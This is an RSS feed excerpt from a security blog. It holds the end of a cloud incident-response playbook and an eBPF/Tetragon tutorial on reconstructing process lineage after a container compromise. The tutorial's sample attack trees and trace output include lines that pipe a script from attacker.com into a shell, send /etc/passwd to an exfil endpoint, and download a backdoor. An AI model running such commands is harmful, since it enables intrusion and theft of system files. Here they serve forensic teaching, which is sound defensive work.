    &#039;ResourceType=instance,Tags=[{Key=Name,Value=replacement-post-incident},{Key=incident-id,Value=2024-02-21}]&#039; \
  --user-data file://init-script.sh
</code></pre>
<p>If you don&#8217;t have a hardened AMI pipeline, this incident is the forcing function to build one. Rebuilding from a generic AMI means re-running your full configuration management stack and hoping nothing drifts. Rebuilding from a known-good hardened baseline means launching and verifying.</p>
<h3 id="recovery-sequence">Recovery Sequence</h3>
<pre><code class="" data-line="">dev → staging → prod

Not prod first. Not all at once.
</code></pre>
<p>Bring dev back up. Verify monitoring and alerting are functional — specifically, verify that the detection that fired during this incident still fires in dev. If you can&#8217;t reproduce the detection in dev, you don&#8217;t know if it&#8217;s working.</p>
<p>Promote to staging. Run your standard smoke tests plus whatever you added to your detection suite based on this incident.</p>
<p>Promote to prod only after staging has been clean for at least four hours.</p>
<hr />
<h2 id="the-post-incident-review">The Post-Incident Review</h2>
<p>Schedule it within 72 hours of resolution. Not a blame session — a timeline reconstruction and process improvement meeting. What to document:</p>
<p><strong>Timeline reconstruction (to the minute):</strong></p>
<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Who</th>
<th>Evidence Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Feb 21 12:47</td>
<td>Initial compromise — credential used from unexpected IP</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 12:51</td>
<td>First AssumeRole to production role</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 13:15</td>
<td>S3 ListBuckets on customer-data bucket</td>
<td>Attacker</td>
<td>CloudTrail data events</td>
</tr>
<tr>
<td>Feb 21 21:30</td>
<td>GuardDuty fires: UnauthorizedAccess:IAMUser/AnomalousBehavior</td>
<td>GuardDuty</td>
<td>GuardDuty finding</td>
</tr>
<tr>
<td>Feb 21 21:35</td>
<td>On-call engineer acknowledges alert</td>
<td>SRE</td>
<td>PagerDuty</td>
</tr>
<tr>
<td>Feb 21 21:50</td>
<td>Incident declared, channel created</td>
<td>IR lead</td>
<td>Slack</td>
</tr>
</tbody>
</table>
<p><strong>Key metrics to measure and improve:</strong></p>
<ul>
<li><strong>Mean Time to Detect (MTTD):</strong> Time between initial compromise and first alert</li>
<li><strong>Mean Time to Declare (MTTDeclare):</strong> Time between first alert and formal incident declaration</li>
<li><strong>Mean Time to Contain (MTTC):</strong> Time between declaration and credential revocation + network isolation</li>
<li><strong>Blast radius:</strong> Accounts, services, data classifications confirmed in scope</li>
</ul>
<p><strong>Regulatory notification requirements (know these before the incident):</strong></p>
<ul>
<li>GDPR: 72 hours from discovery to supervisory authority notification</li>
<li>HIPAA: 60 days from discovery to individual notification; 60 days to HHS for breaches affecting 500+ individuals</li>
<li>CCPA: &#8220;expedient&#8221; notification to individuals; no fixed statutory window for regulator notification but AG guidance suggests 72 hours</li>
<li>SEC (public companies): 4 business days from determining the incident is &#8220;material&#8221;</li>
<li>Check your state breach notification laws — 50 states, 50 different windows</li>
</ul>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Revoking a credential mid-operation breaks running jobs.</strong> If the compromised IAM role is used by production services, the deny-all policy will immediately break those services. Have a plan for emergency credential rotation before you act — either a separate role for legitimate services or a maintenance window. The contain-vs-service-availability tradeoff is a real one; make it deliberately, document it in the incident log.</p>
<p><strong>CloudTrail data events are not enabled by default.</strong> Management events (API calls like CreateUser, RunInstances, AssumeRole) are enabled. Data events (S3 GetObject, Lambda function invocations, DynamoDB item-level activity) must be explicitly enabled and cost extra. If you discover during an incident that you needed S3 data events and didn&#8217;t have them, you cannot reconstruct what data the attacker accessed. Enable them before the incident.</p>
<p><strong>Forensic snapshots cost money.</strong> EBS snapshot storage is not free, and snapshotting every volume on every compromised instance adds up. Have a pre-approved IR budget that includes forensic snapshot costs — getting financial approval in the middle of an active incident is a delay you don&#8217;t want.</p>
<p><strong>Legal hold means don&#8217;t delete anything.</strong> Once legal is involved, no evidence can be destroyed without legal clearance. That includes the compromised EC2 instances, the forensic snapshots, the log exports, and the incident Slack channel. Set legal-hold tags on all IR artifacts immediately and don&#8217;t clean up until legal explicitly says to.</p>
<p><strong>The attacker may still be in.</strong> Containment removes one credential and one network path. If the attacker established multiple persistence mechanisms before you detected them, containment is the beginning of the eradication phase, not the end. Assume they&#8217;re still in until the persistence hunt is complete.</p>
<p><strong>Multi-account blast radius compounds quickly.</strong> AssumeRole chains can cross account boundaries. A compromised role in account A that can assume a role in account B means the blast radius spans both accounts, and CloudTrail logging in account A does not show what the attacker did after assuming the role in account B. Pull CloudTrail from every account in the blast radius.</p>
<hr />
<h2 id="quick-reference-ir-checklist-first-24-hours">Quick Reference: IR Checklist — First 24 Hours</h2>
<h3 id="hour-01-declare-and-scope">Hour 0–1: Declare and Scope</h3>
<ul>
<li>[ ] Declare incident — do not investigate quietly</li>
<li>[ ] Notify: CISO, Legal, on-call SRE lead</li>
<li>[ ] Create incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-descriptor</code></li>
<li>[ ] Start timestamped incident log (shared doc, assign scribe)</li>
<li>[ ] Query CloudTrail: last 1–2 hours of suspected principal activity</li>
<li>[ ] Check GuardDuty for active findings</li>
<li>[ ] Answer: active or historical? blast radius? data at risk?</li>
</ul>
<h3 id="hour-14-preserve-then-contain">Hour 1–4: Preserve, Then Contain</h3>
<ul>
<li>[ ] <strong>FIRST:</strong> Snapshot all volumes on compromised EC2 instances</li>
<li>[ ] <strong>FIRST:</strong> Export CloudTrail logs for incident window to IR evidence directory</li>
<li>[ ] <strong>FIRST:</strong> Export VPC Flow Logs for incident window</li>
<li>[ ] Revoke compromised IAM credential (disable key or attach deny-all policy)</li>
<li>[ ] For role sessions: use <code class="" data-line="">DateLessThan</code> condition to invalidate active sessions</li>
<li>[ ] Apply isolation security group to compromised EC2 instances (do NOT terminate)</li>
<li>[ ] Cordon compromised Kubernetes nodes (do NOT delete pods before forensic capture)</li>
<li>[ ] Collect pod forensics: spec, env vars, process list, network connections</li>
</ul>
<h3 id="hour-412-investigate">Hour 4–12: Investigate</h3>
<ul>
<li>[ ] Trace AssumeRole chain from compromised principal — build the lateral movement graph</li>
<li>[ ] Query S3 GetObject, GetSecretValue, Decrypt events for data access scope</li>
<li>[ ] Hunt persistence: new IAM users/roles, new access keys, Lambda modifications</li>
<li>[ ] Check EC2 user-data modifications, new CloudFormation stacks</li>
<li>[ ] Pull Tetragon/Falco evidence if available — process lineage and connection logs</li>
<li>[ ] Cross-account check: pull CloudTrail from every account reached via AssumeRole</li>
</ul>
<h3 id="hour-1224-eradicate-and-recover_1">Hour 12–24: Eradicate and Recover</h3>
<ul>
<li>[ ] Delete all unauthorized IAM users/roles/access keys created during incident</li>
<li>[ ] Rotate ALL credentials in the blast radius (not just the initial compromise)</li>
<li>[ ] Remove Lambda backdoors — replace entire deployment package, reset environment</li>
<li>[ ] Replace compromised instances from known-good hardened AMI (do not patch-in-place)</li>
<li>[ ] Recover: dev → staging → prod. Verify detection fires in dev before promoting.</li>
<li>[ ] Declare all-clear only after monitoring shows clean in prod for 4+ hours</li>
</ul>
<h3 id="ongoing-regulatory-and-communication">Ongoing: Regulatory and Communication</h3>
<ul>
<li>[ ] Log discovery time — regulatory clocks (GDPR 72h, HIPAA 60d) start at discovery</li>
<li>[ ] Legal hold on all IR artifacts — do not delete without legal clearance</li>
<li>[ ] Schedule post-incident review within 72 hours of resolution</li>
<li>[ ] Update this playbook before the next incident</li>
</ul>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> only works if it has been rehearsed before the incident — the ChangeHealthcare attack showed that nine days of undetected dwell time transforms a credential theft into a national healthcare disruption</li>
<li>Preserve before you contain: snapshot volumes and export logs before revoking credentials or isolating instances — forensic evidence destroyed during hasty containment cannot be reconstructed</li>
<li>The contain-vs-evidence tension is real and deliberate: isolated EC2 instances remain available for forensic access via IR bastion; terminated instances do not</li>
<li>CloudTrail data events (S3 GetObject, Lambda invocations) are not enabled by default — if you need them during an incident and haven&#8217;t pre-enabled them, your data access scope is unknown</li>
<li>Recovery sequence is dev → staging → prod, and you verify detection fires in dev before promoting — if you can&#8217;t reproduce the detection that caught the original incident, you don&#8217;t know if it still works</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This playbook is reactive. You run it after something goes wrong. EP13 is about making it proactive — running structured attack simulations against your own infrastructure on a regular cadence so the first time your team works through this sequence is not during an actual breach. Continuous purple team testing means your IR team has muscle memory for the playbook, your detection tooling is validated against real attack patterns, and your blast radius assumptions are tested before an attacker tests them for you.</p>
<p>Get EP13 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&#038;title=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" data-a2a-url="https://linuxcent.com/cloud-incident-response-playbook-24-hours/" data-a2a-title="Cloud Incident Response Playbook: First 24 Hours After a Breach"></a></p><p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-incident-response-playbook-24-hours/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1876</post-id>	</item>
		<item>
		<title>Process Lineage — Reconstructing What Happened After the Fact</title>
		<link>https://linuxcent.com/ebpf-process-lineage-incident-response/</link>
					<comments>https://linuxcent.com/ebpf-process-lineage-incident-response/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[kprobe]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Process Lineage]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1842</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Process lineage eBPF reconstructs a compromised container's history — what it spawned, what it touched, what it connected to — even after it exits.</p>
<p>The post <a href="https://linuxcent.com/ebpf-process-lineage-incident-response/">Process Lineage — Reconstructing What Happened After the Fact</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 13</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <a href="/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon</a> · <strong>Process Lineage</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Process lineage with eBPF hooks <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> at the kernel level — building a tamper-resistant record of every process spawned, tied to its parent, pod, namespace, and timestamp<br />
  <em>(kprobe on fork/exec = an eBPF program that fires every time the kernel&#8217;s <code class="" data-line="">fork()</code> or <code class="" data-line="">execve()</code> system call runs, capturing process name, PID, parent PID, and arguments before any userspace observer could be bypassed)</em></li>
<li>Application logs and container stdout can be deleted or suppressed by a compromised process; kernel-level process events written to a ringbuf and exported to a persistent store cannot</li>
<li>The kernel&#8217;s <code class="" data-line="">task_struct</code> contains the complete process identity: PID, PPID, UID, GID, process name, capabilities, and cgroup (which maps directly to a pod)</li>
<li>Tetragon and Falco both build process lineage from kernel events; the difference is storage — Tetragon persists a kernel-side cache of the process tree in BPF maps, Falco reconstructs lineage from an audit log stream</li>
<li>Reconstructing an incident from process lineage requires: who spawned the attacker&#8217;s process, what did it execute, what files did it open, what connections did it make — all correlated by PID and timestamp</li>
<li>Production caution: process events on a busy node can generate high ringbuf write volume; filter aggressively by namespace/cgroup at the eBPF level, not in userspace</li>
</ul>
<hr />
<p>EP12 showed how LSM hooks enforce at the syscall boundary — preventing operations before they complete. Process lineage with eBPF is the complementary capability: when an attacker bypasses enforcement, or when you need to understand what happened before the policy was in place, the kernel-level process record is how you reconstruct the attack chain. This episode covers how that record is built and how to read it.</p>
<h2 id="quick-check-what-process-events-is-your-cluster-already-recording">Quick Check: What Process Events Is Your Cluster Already Recording?</h2>
<pre><code class="" data-line=""># On any cluster node — verify exec tracing is available
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%-20s %-6d %s\n&quot;, comm, pid, str(args-&gt;filename));
}&#039; --timeout 10

# Expected output:
# containerd-shim     1203   /usr/bin/runc
# runc                1204   /usr/sbin/runc
# sh                  1205   /bin/sh
# node                1842   /usr/local/bin/node
# kube-proxy          2091   /usr/local/bin/kube-proxy
</code></pre>
<pre><code class="" data-line=""># If Tetragon is installed — view the live process lineage stream
kubectl exec -n kube-system \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_EXEC | head -20
</code></pre>
<p>Sample Tetragon output:</p>
<pre><code class="" data-line="">{
  &quot;process_exec&quot;: {
    &quot;process&quot;: {
      &quot;pid&quot;: 18293,
      &quot;binary&quot;: &quot;/bin/sh&quot;,
      &quot;arguments&quot;: &quot;-c health-check.sh&quot;,
      &quot;start_time&quot;: &quot;2026-04-22T09:14:03.412Z&quot;,
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;},
      &quot;parent_pid&quot;: 18201
    },
    &quot;parent&quot;: {
      &quot;pid&quot;: 18201,
      &quot;binary&quot;: &quot;/usr/local/bin/my-app&quot;,
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;}
    }
  }
}
</code></pre>
<p>Each event has the process, its parent, the pod, the namespace, and the full binary path. That&#8217;s the raw material for process lineage reconstruction.</p>
<blockquote>
<p><strong>Not running Tetragon?</strong> Plain bpftrace on the node gives you the same raw data without Kubernetes enrichment — you get PIDs and process names but not pod names or namespaces without the <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code> mapping step. For incident reconstruction, the Tetragon-enriched stream is significantly more useful because pod attribution is baked in at capture time, not reconstructed afterward.</p>
</blockquote>
<hr />
<p>A container in the <code class="" data-line="">payments</code> namespace was reported compromised. The security team&#8217;s automated response had already restarted the pod — the attacker&#8217;s process was gone. The container&#8217;s filesystem had been reset to the image. The application logs for that pod were deleted when the pod restarted. The Kubernetes event log showed the pod restart but nothing about what had run inside it.</p>
<p>Three questions, no answers yet:<br />
1. What spawned the attacker&#8217;s process? (was it a remote code execution in the app, or a misconfigured exec?)<br />
2. What did the attacker run after getting in? (what did they download, execute, touch?)<br />
3. What network connections did they make? (where did data go, if anywhere?)</p>
<p>The answers were in Tetragon&#8217;s process event export — captured at the kernel level before the pod was restarted, stored in the observability backend, and queryable by pod name and time window. The kernel had seen every exec, every fork, every file open. The restart didn&#8217;t touch that record.</p>
<p>The lineage showed:</p>
<pre><code class="" data-line="">my-app (PID 18201)
  └── sh -c &quot;curl http://attacker.com/payload.sh | sh&quot;  (PID 18293)
        └── sh payload.sh  (PID 18294)
              ├── cat /etc/passwd  (PID 18295)
              ├── curl http://attacker.com/exfil -d @/etc/passwd  (PID 18296)
              └── wget -O /tmp/.x http://attacker.com/backdoor  (PID 18297)
                    └── chmod +x /tmp/.x  (PID 18298)
</code></pre>
<p>Five minutes of attacker activity, fully reconstructed, from a pod that no longer existed.</p>
<hr />
<h2 id="how-the-kernel-tracks-process-identity">How the Kernel Tracks Process Identity</h2>
<p>Every process in Linux is represented by a <code class="" data-line="">task_struct</code> — the kernel&#8217;s internal data structure for a running process. It contains everything the kernel knows about that process.</p>
<blockquote>
<p><strong><code class="" data-line="">task_struct</code></strong> — the kernel&#8217;s primary data structure for a process. Contains: PID, PPID, UID, GID, process name (comm, 15 chars), open file descriptors, memory mappings, namespace references, cgroup membership, capabilities, and a pointer to the parent <code class="" data-line="">task_struct</code>. When bpftrace uses <code class="" data-line="">curtask</code>, it&#8217;s returning a pointer to the current process&#8217;s <code class="" data-line="">task_struct</code>. Reading <code class="" data-line="">curtask-&gt;real_parent-&gt;tgid</code> gives you the parent&#8217;s PID — the foundation of process lineage.</p>
</blockquote>
<p>When a process calls <code class="" data-line="">fork()</code>, the kernel:<br />
1. Allocates a new <code class="" data-line="">task_struct</code> for the child<br />
2. Copies the parent&#8217;s <code class="" data-line="">task_struct</code> fields into the child<br />
3. Sets the child&#8217;s <code class="" data-line="">real_parent</code> pointer to the parent&#8217;s <code class="" data-line="">task_struct</code><br />
4. Assigns the child a new PID<br />
5. Returns the child&#8217;s PID to the parent, and 0 to the child</p>
<p>When the child calls <code class="" data-line="">execve()</code>, the kernel:<br />
1. Validates the binary (verifier/capability checks, LSM hooks)<br />
2. Replaces the process&#8217;s memory image with the new binary<br />
3. Updates <code class="" data-line="">task_struct-&gt;comm</code> with the new process name<br />
4. The PID does not change — <code class="" data-line="">execve</code> replaces the process image but not the process identity</p>
<p>This <code class="" data-line="">fork</code> → <code class="" data-line="">exec</code> sequence is how every shell command works: the shell forks a child, the child execs the command. eBPF hooks on both events, correlated by PID and parent PID, give you the complete tree.</p>
<hr />
<h2 id="building-the-process-tree-with-kprobes">Building the Process Tree with kprobes</h2>
<p>The two core hooks for process lineage:</p>
<pre><code class="" data-line=""># Every fork — capture parent/child relationship
bpftrace -e &#039;
tracepoint:syscalls:sys_exit_clone {
    if (retval &gt; 0) {
        # retval is the child PID (from parent&#039;s perspective)
        printf(&quot;FORK parent=%-6d child=%-6d parent_comm=%-20s\n&quot;,
               pid, retval, comm);
    }
}&#039;
</code></pre>
<pre><code class="" data-line=""># Every exec — capture what binary replaced the process image
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;EXEC pid=%-6d ppid=%-6d binary=%-40s args=%s\n&quot;,
           pid,
           curtask-&gt;real_parent-&gt;tgid,
           str(args-&gt;filename),
           str(*args-&gt;argv));
}&#039;
</code></pre>
<p>Combined output (30 seconds, simplified):</p>
<pre><code class="" data-line="">FORK parent=18201 child=18293  parent_comm=my-app
EXEC pid=18293 ppid=18201 binary=/bin/sh              args=sh -c curl http://...
FORK parent=18293 child=18294  parent_comm=sh
EXEC pid=18294 ppid=18293 binary=/bin/sh              args=sh payload.sh
FORK parent=18294 child=18295  parent_comm=sh
EXEC pid=18295 ppid=18294 binary=/bin/cat             args=cat /etc/passwd
FORK parent=18294 child=18296  parent_comm=sh
EXEC pid=18296 ppid=18294 binary=/usr/bin/curl        args=curl http://attacker.com/exfil -d @/etc/passwd
</code></pre>
<p>Each line is a kernel event. The parent/child PID chain is the tree. Rendered:</p>
<pre><code class="" data-line="">my-app (18201)
  └── sh (18293) — &quot;sh -c curl http://attacker.com/payload.sh | sh&quot;
        └── sh (18294) — &quot;sh payload.sh&quot;
              ├── cat (18295) — &quot;/etc/passwd&quot;
              └── curl (18296) — &quot;http://attacker.com/exfil -d @/etc/passwd&quot;
</code></pre>
<p>This tree is constructed entirely from kernel events. No application logging. No container stdout. No agent inside the container.</p>
<hr />
<h2 id="how-tetragon-stores-the-process-tree-in-bpf-maps">How Tetragon Stores the Process Tree in BPF Maps</h2>
<p>bpftrace&#8217;s approach above produces an event stream — a log you reconstruct manually. Tetragon takes a different approach: it maintains a live process tree in BPF maps, updated on every fork and exec event, persistently queryable.</p>
<pre><code class="" data-line="">Kernel events (kprobe on clone, execve, exit)
      ↓
Tetragon eBPF programs
      ↓
Write to BPF_MAP_TYPE_HASH: process_cache
      key: PID
      value: {binary, args, start_time, parent_pid, pod_name, namespace, uid, gid, caps}
      ↓
Tetragon userspace agent
      reads process_cache on events
      enriches with Kubernetes pod metadata (from informer cache)
      exports to gRPC stream → observability backend
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">task_struct</code> in BPF maps</strong> — Tetragon doesn&#8217;t store the raw <code class="" data-line="">task_struct</code> pointer in its maps (pointers are not stable across process lifetime). Instead, it stores a snapshot of the relevant fields (PID, binary path, arguments, capabilities, cgroup path, start time) at the moment of the exec event, keyed by PID. When the process exits, the entry is kept in the cache for a configurable window to allow late-arriving events (like file closes or connection terminations) to be correlated back to the originating process.</p>
</blockquote>
<p>To inspect Tetragon&#8217;s process cache directly:</p>
<pre><code class="" data-line=""># Find the Tetragon process cache map
bpftool map list | grep process_cache

# 112: hash  name process_cache  flags 0x0
#      key 4B  value 256B  max_entries 65536  memlock 16777216B

# Dump a few entries
bpftool map dump id 112 | head -60

# [{
#     &quot;key&quot;: 18293,                           # ← PID
#     &quot;value&quot;: {
#         &quot;binary&quot;: &quot;/bin/sh&quot;,
#         &quot;args&quot;: &quot;sh -c curl http://...&quot;,
#         &quot;pid&quot;: 18293,
#         &quot;ppid&quot;: 18201,
#         &quot;uid&quot;: 1000,
#         &quot;start_time&quot;: 1745296443,
#         &quot;cgroup&quot;: &quot;kubepods/burstable/pod3f8a21bc/.../payments&quot;
#     }
# }]
</code></pre>
<p>The <code class="" data-line="">cgroup</code> field maps directly to the pod — same path as <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code> but captured at exec time and stored in kernel space.</p>
<hr />
<h2 id="correlating-files-and-connections-to-the-process-tree">Correlating Files and Connections to the Process Tree</h2>
<p>Process lineage is most useful when combined with the file access and network connection events from the same process. Tetragon&#8217;s TracingPolicy supports this multi-event correlation natively:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: observe-process-lineage
spec:
  kprobes:
    - call: &quot;security_inode_permission&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;inode&quot;
      selectors:
        - matchNamespaces:
            - namespace: Net
              operator: &quot;NotIn&quot;
              values: [&quot;1&quot;]    # exclude host network namespace
          matchActions:
            - action: Post   # audit: log but don&#039;t block
    - call: &quot;tcp_connect&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;sock&quot;
      selectors:
        - matchActions:
            - action: Post
</code></pre>
<p>With this policy active, Tetragon emits events for both file access and TCP connections, each carrying the full process context (PID, binary, pod, parent). Correlated by PID and timestamp:</p>
<pre><code class="" data-line="">tetra getevents | jq &#039;select(.process_kprobe.function_name == &quot;tcp_connect&quot;) |
  {pid: .process_kprobe.process.pid,
   binary: .process_kprobe.process.binary,
   pod: .process_kprobe.process.pod.name,
   dst: .process_kprobe.args[0].sock_arg.daddr}&#039;
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">{&quot;pid&quot;: 18296, &quot;binary&quot;: &quot;/usr/bin/curl&quot;, &quot;pod&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;dst&quot;: &quot;93.184.216.34&quot;}
